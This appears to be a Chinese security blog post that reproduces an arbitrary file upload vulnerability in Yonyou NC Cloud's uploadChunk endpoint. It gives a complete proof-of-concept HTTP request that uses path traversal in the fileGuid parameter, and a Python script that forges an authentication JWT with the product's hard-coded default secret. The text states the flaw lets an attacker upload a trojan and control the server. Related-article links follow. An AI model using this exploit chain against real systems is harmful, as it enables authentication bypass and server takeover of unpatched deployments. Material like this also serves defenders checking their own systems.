阅读须知

  花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他行为!!!

产品介绍

  用友NC是“企业资源规划(Enterprise Resource Planning)”的缩写,是指用友软件股份有限公司开发的一套企业管理软。用友NC系统是一种集成管理企业各项业务流程的信息化解决方案。该系统涵盖了财务、人力资源、供应链管理等多个方面,旨在帮助企业提高运营效率、优化资源利用、提升管理水平。

漏洞描述

  用友NC Cloud uploadChunk文件存在任意文件上传漏洞,攻击者通过此漏洞可实现上传木马文件,控制服务器。

漏洞影响

  未知

复现环境

  app="用友-NC-Cloud"

漏洞复现

POC如下:

 1 POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
2 Host:
3 User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: close
7 accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
8 Content-Length: 148
9 Content-Type: multipart/form-data; boundary=de7a6692c03f903d173515933ee6f161
10
11 --de7a6692c03f903d173515933ee6f161
12 Content-Disposition: form-data; name="file"; filename="test.txt"
13
14 test
15 --de7a6692c03f903d173515933ee6f161--

poc中存在一个请求头:accessTokenNcc,该请求头为JWT,在网上找到一篇分析文章,点击即可跳转。通过这篇分析文章,发现用友NC存在一个默认的密钥,通过这个密钥构建JWT进行鉴权绕过,JWT生成的python脚本如下:(仅适用于用友NC-Cloud系统)

 1 import json
2 import base64
3 import hashlib
4 import hmac
5
6 strbase64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
7 dictbase64 = {k:i for i,k in enumerate(strbase64)}
8 dictbase64[b"="[0]] = 0
9 stt = b"defaultSecret"
10 strarr = (stt[i-4:i] for i in range(4,len(stt)+1,4))
11 arrby = bytearray()
12 num = 0
13 for nuits in strarr:
14 rint = 0
15 for k in nuits:
16 if k == b"="[0]: num +=1 #统计尾部等号个数
17 rint = (rint << 6) + dictbase64[k]
18 arrby.extend(rint.to_bytes(3,"big"))
19 while num: #去除尾部0字符
20 arrby.pop()
21 num -= 1
22 secret_key = bytes(arrby)
23 headers = {
24 "alg": "HS256",
25 "typ": "JWT"
26 }
27 payload = {"userid": "1"}
28 first = base64.urlsafe_b64encode(json.dumps(headers, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '')
29 second = base64.urlsafe_b64encode(json.dumps(payload, separators=(',', ':')).encode('utf-8').replace(b'=', b'')).decode('utf-8').replace('=', '')
30 first_second = f"{first}.{second}"
31 third = base64.urlsafe_b64encode(hmac.new(secret_key, first_second.encode('utf-8'), hashlib.sha256).digest()).decode('utf-8').replace('=', '')
32 token = ".".join([first, second, third])
33 print(token)

返回操作​成功即证明上传成功,访问test.txt确认。

上传成功,至此漏洞复现结束。

【漏洞复现】用友NC-Cloud系统uploadChunk存在任意文件上传漏洞的更多相关文章

  1. WordPress Think Responsive Themes ‘upload_settings_image.php’任意文件上传漏洞

    漏洞名称: WordPress Think Responsive Themes ‘upload_settings_image.php’任意文件上传漏洞 CNNVD编号: CNNVD-201311-06 ...

  2. 13.Weblogic任意文件上传漏洞(CVE-2018-2894)复现

    Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/be ...

  3. CVE-2019-2618任意文件上传漏洞复现

    CVE-2019-2618任意文件上传漏洞复现 漏洞介绍: 近期在内网扫描出不少CVE-2019-2618漏洞,需要复测,自己先搭个环境测试,复现下利用过程,该漏洞主要是利用了WebLogic组件中的 ...

  4. WebLogic 两处任意文件上传漏洞动态分析(CVE-2018-2894)

    0x01 前言 CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞,并得到了厂商的确认,危害程度评分高达9.8分.鉴于厂商已进行了 ...

  5. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  6. 【原创】JEECMS v6~v7任意文件上传漏洞(1)

    文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...

  7. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

  8. 17.[CVE-2017-12615]Tomcat任意文件上传漏洞

    [CVE-2017-12615] Tomcat任意文件上传漏洞 首先先贴出wooyun上的一个案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0 ...

  9. dedecmsV5.7 任意文件上传漏洞修复

    问题文件:在/include/dialog/select_soft_post.php文件 解决方法: 先找到这个文件/include/dialog/select_soft_post.php,找到大概7 ...

  10. WebLogic任意文件上传漏洞(CVE-2019-2618)

    WebLogic任意文件上传漏洞(CVE-2019-2618) 0x01 漏洞描述 漏洞介绍 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口, ...

随机推荐

  1. 开源图形驱动在OpenHarmony上的使用和落地

      本文转载自 OpenHarmony TSC 官方微信公众号<峰会回顾第10期 | 开源图形驱动在OpenHarmony上的使用和落地> 演讲嘉宾 | 黄   然 回顾整理 | 廖    ...

  2. 本周二晚19:00战码先锋第5期直播丨深入理解OpenHarmony系统启动,轻松踏上设备软件开发之旅

    OpenAtom OpenHarmony(以下简称"OpenHarmony")工作委员会首度发起「OpenHarmony开源贡献者计划」,旨在鼓励开发者参与OpenHarmony开 ...

  3. K8S 性能优化 - K8S APIServer 调优

    前言 K8S 性能优化系列文章,本文为第二篇:Kubernetes API Server 性能优化参数最佳实践. 系列文章: <K8S 性能优化 - OS sysctl 调优> 参数一览 ...

  4. Mongoose介绍

    官网 Mongoose.js中文网 (mongoosejs.net) 基本使用 安装 最新的是mongoose8.0.0版本,基于Promise,以前的版本是基于回调函数. npm npm i mon ...

  5. 日处理数据量超10亿:友信金服基于Flink构建实时用户画像系统的实践

    导读:当今生活节奏日益加快,企业面对不断增加的海量信息,其信息筛选和处理效率低下的困扰与日俱增.由于用户营销不够细化,企业 App 中许多不合时宜或不合偏好的消息推送很大程度上影响了用户体验,甚至引发 ...

  6. Apache RocketMQ 的 Service Mesh 开源之旅

    作者 | 凌楚   阿里巴巴开发工程师 导读:自 19 年底开始,支持 Apache RocketMQ 的 Network Filter 历时 4 个月的 Code Review(Pull Reque ...

  7. PolarDB-X 发布 2.1.0 版本,Paxos 重磅开源

    ​简介:2022年4月1号,PolarDB-X 正式开源X-Paxos,基于原生MySQL存储节点,提供Paxos三副本共识协议,可以做到金融级数据库的高可用和容灾能力,做到RPO=0的生产级别可用性 ...

  8. 技术干货 | 使用 mPaaS 配置 SM2 国密加密指南

    ​简介:随着移动智能终端的广泛应用,敏感信息极易被监控或盗取,给国家.企事业及个人带来极大政治.经济损失.金融和重要领域的各个企业正在逐步落实并完成国产密码改造工作.为解决客户侧因更换加密算法造成的种 ...

  9. [FAQ] Truffle Deployer 合约传参问题: Invalid number of parameters for "undefined". Got 0 expected 1!

    在使用 `truffle migrate` 时,如果合约的构造函数需要传参,而部署脚本里没有传的时候,就会报这个错. 未传参时: const Migrations = artifacts.requir ...

  10. dotnet 世界猜测 随机数的小测试

    这是一个半技术向的博客,主题来源于我读过的某本书的片段,这是一个稍稍有些前置知识的故事,主题的大概内容就是假定世界存在某个规则序列,通过一代代的探索,可以获取到此序列的内容.本文将模拟此情形,写一个随 ...